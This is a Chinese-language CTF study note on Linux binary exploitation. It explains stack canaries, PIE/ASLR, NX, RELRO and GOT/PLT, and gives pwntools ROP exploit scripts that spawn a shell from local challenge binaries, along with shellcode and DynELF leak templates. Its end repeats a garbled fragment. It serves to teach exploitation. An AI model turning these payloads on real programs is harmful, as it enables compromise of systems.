canary 保护:又称金丝雀保护,每次程序运行会随机一个一字大小的数字置于esp和ebp之间,用于判断是否栈溢出。
注意点:
1、canary在32位程序中为4字节,在64位中为8字节
2、第一个字节为’\x00’,目的是put函数遇到第一个’\x00’,则停止打印,所以可以防止泄露canary。
可以通过覆盖canary的首字节’\x00’来确保不会中断打印,或者接收指定字节数,最后利用u64(recv(7).rjust(8,\x00))来补齐解码,也可以先recvuntil(payload+‘\n’),再recv(7)
泄露方法:
(1)暴力破解
(2)格式化字符串泄露
(3)普通泄露,put函数
PIE&ALSR(position-independent executable, 地址无关可执行文件)技术:就是一个针对代码段.text, 数据段.*data,.bss等固定地址的一个防护技术。同ASLR一样,应用了PIE的程序会在每次加载时都变换加载基址,从而使位于程序本身的gadget也失效。
在我们编写ROP或者shellcode时,有一个问题无法绕开,那就是找到函数的地址。
PIE指的是**程序内存加载基地址随机化,**PIE的中文叫做,地址无关可执行文件,是针对.text(代码段),.data(数据段),.bss(未初始化全局变量段)来做的保护,正常每一次加载程序,加载地址是固定的,但是PIE保护开启,每次程序启动的时候都会变换加载地址。
NX: No-eXecute,是通过将数据所在内存标记为不可执行而阻止利用栈溢出跳转到数据页面执行写入的,即栈上的数据不能作为代码执行。
- ROP技术
- mprotect函数更改段的权限
RELRO
这个保护主要针对延迟保护机制,即got表这种和函数动态链接相关的内存地址,对于用户是只读的。
开启了full这个保护,意味着我们got表为只读,不能劫持got表中的函数指针。,开启了partial保护,意味着部分开启堆栈地址随机化,got表可写。
面向返回编程
说白了就是布置栈空间的过程,以下为原理讲解和示例:
int __cdecl main()
{
init();
return pwnme();
}
int pwnme()
{
char buf; // [esp+4h] [ebp-44h]
puts("pwd : ");
read(0, &buf, 0x100u);
// gets(&buf); 64为程序中用的是gets
if ( strcmp(&buf, "1qazcde3") )
{
puts("NO FUNCTION");
exit(0);
}
return puts("DONE!");
}
分析:pwnme中有栈溢出漏洞,32位exp如下:
注意:32位使用栈传递参数
64位先使用寄存器传参(rdi,rsi,rdx,rcx,r8,r9),再使用栈传参
#32位
from pwn import *
context.log_level='debug'
p=process('./pwn_rop1')
read_addr=0x8048410
system_addr=0x8048430
bss_addr=0x0804A060
# p32(0) 为system执行后的return address,永远用不到
payload="1qazcde3\x00".ljust(68, 'a')+'b'*4 + p32(read_addr) + p32(system_addr) + p32(0) + p32(bss_addr) + p32(256)
p.recvuntil("pwd : \n")
#gdb.attach(p,"b *0x080485CF")
p.sendline(payload)
p.recvuntil("DONE!\n")
# 此处要给上面调用的read函数传递内容
p.sendline("/bin/sh\x00")
p.interactive()
#64位
from pwn import *
context.log_level="debug"
p=process("./pwn_rop2")
elf=ELF("./pwn_rop2")
gets=elf.plt["gets"]
bss=0x601060
system=elf.plt["system"]
pop_rdi=0x400883
p.recvuntil("pwd : \n")
#pause()
#gdb.attach(p,"b *0x4007A7")
#raw_input()
#p32(gets)+p32(system)+p32(bss)+p32(bss)
payload="1qazcde3\x00".ljust(64,"1")+'a'*8+p64(pop_rdi)+p64(bss)+p64(gets)+p64(pop_rdi)+p64(bss)+p64(system)
p.sendline(payload)
p.recvuntil("DONE!\n")
p.sendline("/bin/sh\x00")
p.interactive()
64位利用寄存器传参
这里需要解释一下p32(read_addr) + p32(system_addr) + p32(0) + p32(bss_addr) + p32(256)为什么如此构造。
read_addr 是 pwnme 函数执行结束后的返回地址,而这里的read_addr指向的是plt表,在执行plt表所指向的read_addr函数时,stack中的数展现如下:
这样的栈结构相当于,执行了read(0, bss_addr, 255)后,重新跳转到system_addr,而跳转到system_addr后,stack如下:
也就是说,read结束后,程序走到了system的plt中去执行程序,而此时将bbs_addr当做参数传给了system,相当于执行了system(bss_addr)。
由于bbs_addr已经被我们写入了/bin/sh,此时system函数调用时将会给我们返回一个shell,所以system的return address是什么并不重要。
思考:上面 system 的
/bin/sh
参数只是恰好把 read指令的参数作为自己的参数,而实现了get shell,如果运气没那么欧怎么办?我们可以利用
pop
指令,实现对栈的清除
执行system(‘bin/sh’),或者execve()
execve:可以通过one_gadget获得动态链接库中的地址: one_gadget libc-2.3.so,得到的即为execve(‘bin\sh’)的地址,但是有约束条件。
system:libc泄露,查找system_offset_addr = libc.symbols[‘system’], binsh_addr_offset = libc.search(‘bin\sh’).next()
1、libc共享库获取方式:
(1)题目直接给出,在exp中直接libc = ELF(‘./libc2.so’)即可,只需要泄露函数实际地址
(2)通过执行函数查询:dynelf方法(需要手动向bss段写/bin/sh\x00,详细见下)
Dynelf工具可以根据泄露出的地址找到相应libc版本的其他函数地址,但缺点时不能查找字符串也就是"/bin/sh"的地址,所以找到system函数后,往往还需要找到一个可写的地方用read函数读取"/bin/sh"
2、确定加载基地址(绕过PIE):
需要三个地址:函数真实地址、函数在libc中的偏移地址、目标函数偏移地址
求解方法:函数真实地址
3、泄露函数
write(1,addr,count(字节数))
puts(addr)
read:向bss段读取字符串
libc = ELF('./lic-2.23.so')
elf = ELF('./babystack')
system_offset_addr = libc.sym
put_got = elf.got['put'] #查程序这个got表
put_plt = elf.plt['put'] #查程序中plt表
获取gadget(pop rdi ret; ) ROPgadget --binary babystack --only "pop|ret " grep “rdi”
获取动态链接库中的execve(‘bin\sh’): one_gadget libc-2.3.so
每次ret函数调用时利用plt表
elf.got[‘puts’]获取的是
e=ELF(‘文件名’)
获取文件基地址
hex(e.address)获取函数地址
hex(e.symbols[‘函数名’])获取函数got表地址
hex(e.got[‘函数名’])获取函数PLT地址
hex(e.plt[‘函数名’])(plt和symbol没什么区别,都是函数调用用到的,但是函数调用不是用到真实地址)
p = elf.got[‘puts’]获得的是got表的指针p,指向函数的真正地址,故put§会打印函数puts的真正地址。
got表:这是链接器在执行链接时实际上要填充的部分, 保存了所有外部符号的地址信息,即重定向。
这个表里包含了一些代码,
用来(1)调用链接器来解析某个外部函数的地址, 并填充到.got.plt中, 然后跳转到该函数; 或者
(2)直接在.got.plt中查找并跳转到对应外部函数(如果已经填充过).
求得的symbol和olt基本没什么区别,都是函数的调用地址,但不是全局偏移地址!
ELF(Executable and Linkable Format)文件是Linux环境中的一种二进制可执行文件。
elf的基本信息存在于elf的头部信息中,这些信息包括指令的运行框架、程序入口等,可以通过 readelf -h
elf文件中包含许多节(section),各个节中存放不同的数据,这些节的信息存放在节头表中,可用 readelf -S 查看,主要包括:
elf文件在加载进内存时,elf文件的节会被映射到内存中的段(segment),这一映射过程遵循的机制是根据各个节的权限来进行映射的。可读可写的节被映射入一个段,只读的节被映射入一个一个段。
如下图所示:
一般来说,在程序的开发过程中都会用到一些系统函数。这些系统函数不需要我们实现,只需调用即可,而存放这些函数的库文件就是动态链接库。
通常情况下,我们在pwn题接触到的动态链接库就是libc.so文件。
一个程序在运行的过程中可能会调用许许多多的库函数,这些库函数在一次运行中无法保证被全部调用。
静态编译的思路是将所有可能运行到的库函数一同编译到可执行文件中。
这一方式的**优点是在程序运行中不需要依赖动态链接库。**适用的场合是本地编译的程序需要的动态链接库版本比较特殊,在别的地方运行可能会因为对方的动态链接库版本不一样而出错。
缺点是编译后的程序体积大、编译速度慢。
动态编译的思路是遇到需要调用库函数的时候再去动态链接库中寻找。(逢山开路、遇水架桥)
其优点是一方面缩小了可执行文件本身的体积,另一方面是加快了编译的速度,节省了系统资源。
缺点一是即便是很简单的程序,只要用到了链接库中的命令,也需要一个相对庞大的链接库;二是如果其它计算机上没有安装对应的运行库,则用动态编译的可执行文件就无法运行。
got表全称Global Offset Table,即全局偏移量表。
在程序开始运行时,got表并不保存库函数的地址,只有在第一次调用后,程序才将这一地址保存在got表中。
**GOT(Global Offset Table,全局偏移表)**是数据段用于地址无关码的Linux ELF文件中确定全局变量和外部函数地址的表。ELF中有.got和.got.plt两个GOT表。.got表用于全局变量的引用地址,.got.plt用于保存函数引用的地址。
**PLT(Procedure Linkage Table,程序链接表)**是Linux ELF文件中用于延迟绑定的表。无论是第几次调用外部函数,程序真正调用的其实是plt表。plt表其实是由一段段汇编指令构成的。
在第一次调用外部函数时,plt表首先会跳到相应的got表项中。
由于没有被调用过,此时的got表存储的不是目标函数的地址,而是plt表中的一段指令的地址,其作用就是准备一些参数,进行动态解析。
跳回到plt表后,plt表又会跳转回plt的表头,表头内容就是调用动态解析函数,将目标函数地址存放入got表中。
如下图所示:
之后第二次及以上的调用后,程序已经完成了延迟绑定,got(.plt.got)表中已经存储了目标函数地址,直接跳转即可。
如下图所示:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PYmQICUy-1681099511854)(https://detlfy.github.io/2021/09/29/Linux延迟绑定与安全防护机制/4.png]
from pwn import *
#recv class
p.recv() #默认接收4096为最大字节
p.recv(num) #接收指定的字节数
p.recvuntil(delimes) #直到接收到(接收完成)delimes结束
p.recvall() #一直接收,直到达到文件末尾的EOF,放到开头会一直接收
##send class
payload = b'hello!' # python3,payload为字节类型
p.sendline(payload) # 输入hello! + \n
p.send(payload) # 输入hello!
p.sendafter("test", payload) # 在接受到test后才发送payload
p.sendlineafter("test", payload) # 在接受到test后才发送payload + \n
#配置32位的shellcode
context(os="linux", arch="i386", log_level="debug") #配置上下文
code = shellcraft.sh() # 汇编代码
code = asm(code) # opcode,payload中都使用这个
# 配置64位的shellcode
context(os="linux", arch="amd64", log_level="debug") # 配置上下文
code = shellcraft.sh() # 同上
code = asm(code) # 同上
# 下面展示的是DynELF的使用模板
def leak(addr):
# 这里的代码比较抽象
# 其实目的就是利用能够回显字符的函数泄露addr,返回地址为start
# data接受的数据只能是回显的addr地址上的内容,将空字符处理为\x00
payload = padding + addr + start
p.send(payload)
data = p.recv()
return data
# 构造DynELF实例,第一个参数为leak函数,第二个为题目的ELF对象
d = DynELF(leak, elf=ELF('./pwn200'))
system = d.lookup("system", "libc") # 泄露出system的地址
print("system ====> ", system, hex(system))
##实战代码见下
'''
def leak(addr):
payload = 112 * b'a' + p32(write_plt) + p32(func_addr) + p32(1) + p32(addr) + p32(4)
p.sendline(payload)
data = p.recv(4)
return data
'''
局限
使用DynELF时,我们需要使用一个leak函数作为必选参数,指向ELF文件的指针或者使用ELF类加载的目标文件至少提供一个作为可选参数,以初始化一个DynELF类的实例d。然后就可以通过这个实例d的方法lookup来搜寻libc库函数了;
其中,leak函数需要使用目标程序本身的漏洞泄露出由DynELF类传入的int型参数addr对应的内存地址中的数据。且由于DynELF会多次调用leak函数,这个函数必须能任意次使用,即不能泄露几个地址之后就导致程序崩溃。由于需要泄露数据,payload中必然包含着打印函数,如write, puts, printf等;
而通过实践发现write函数是最理想的,因为write函数的特点在于其输出完全由其参数size决定,只要目标地址可读,size填多少就输出多少,不会受到诸如‘\0’, ‘\n’之类的字符影响;而puts, printf函数会受到诸如‘\0’, ‘\n’之类的字符影响,在对数据的读取和处理有一定的难度
(一)查pop
命令:
ROPgadget --binary 文件名 --only "pop|ret" | grep rdi
命令:ROPgadget --binary 文件名 --only "pop|ret" | grep rsi
命令:
ROPgadget --binary 文件名 --only "pop|ret"
(二)该工具除了可以用来查找 ret/rdi的地址,还可以用来查找一些字符串的地址
命令: ROPgadget --binary 文件名 --sting ‘/bin/sh’
命令: ROPgadget --binary 文件名 --sting ‘/sh’
命令: ROPgadget --binary 文件名 --sting ‘sh’
命令: ROPgadget --binary 文件名 --sting ‘cat flag’
命令: ROPgadget --binary 文件名 --sting ‘cat flag.txt’
-a
,--all
显示全部信息,等价于-h -l -S -s -r -d -V -A -I
。-h
,--file-header
显示elf
文件开始的文件头信息.-l
,--program-headers
,--segments
显示程序头(段头)信息(如果有的话)。-S
,--section-headers
,--sections
显示节头信息(如果有的话)。-g
,--section-groups
显示节组信息(如果有的话)。-t
,--section-details
显示节的详细信息(-S
的)。-s
,--syms
,--symbols
显示符号表段中的项(如果有的话)。-e
,--headers
显示全部头信息,等价于:-h -l -S
-n
,--notes
显示note
段(内核注释)的信息。-r
,--relocs
显示可重定位段的信息。-u
,--unwind
显示unwind
段信息。当前只支持IA64 ELF
的unwind
段信息。-d
,--dynamic
显示动态段的信息。-V
,--version-info
显示版本段的信息。-A
,--arch-specific
显示CPU
构架信息。-D
,--use-dynamic
使用动态段中的符号表显示符号,而不是使用符号段。-x
,--hex-dump=
以16进制方式显示指定段内内容。number
指定段表中段的索引,或字符串指定文件中的段名。
- system(*bin_sh) :参数为binsh字符串的地址
- put(x) 若x为地址,则打印地址处的值,如果为字符串则直接打印
- execve是最底层的函数调用,system的最终目的是调用execve,不泄露这个地址是没必要,并且libc中可能没有execve
int main
{
put("thanks");
put("hello");
regturn 0;
}
结论:一函数的ebp中存放的为上层函数的ebp指针,即在上述代码中两个put函数的栈帧中ebp存放的值相同,均为main函数的ebp指针。
制方式显示指定段内内容。number
指定段表中段的索引,或字符串指定文件中的段名。
- system(*bin_sh) :参数为binsh字符串的地址
- put(x) 若x为地址,则打印地址处的值,如果为字符串则直接打印
- execve是最底层的函数调用,system的最终目的是调用execve,不泄露这个地址是没必要,并且libc中可能没有execve
[外链图片转存中…(img-2myRY0Kf-1681099511855)]
int main
{
put("thanks");
put("hello");
regturn 0;
}
结论:一函数的ebp中存放的为上层函数的ebp指针,即在上述代码中两个put函数的栈帧中ebp存放的值相同,均为main函数的ebp指针。